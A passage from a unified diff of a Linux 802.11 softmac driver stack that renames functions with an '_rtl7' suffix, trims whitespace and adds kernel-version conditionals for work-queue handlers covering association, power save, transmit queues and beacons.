int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1300,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1327,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1466,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1477,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1620,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1645,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1659,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1676,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1706,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + 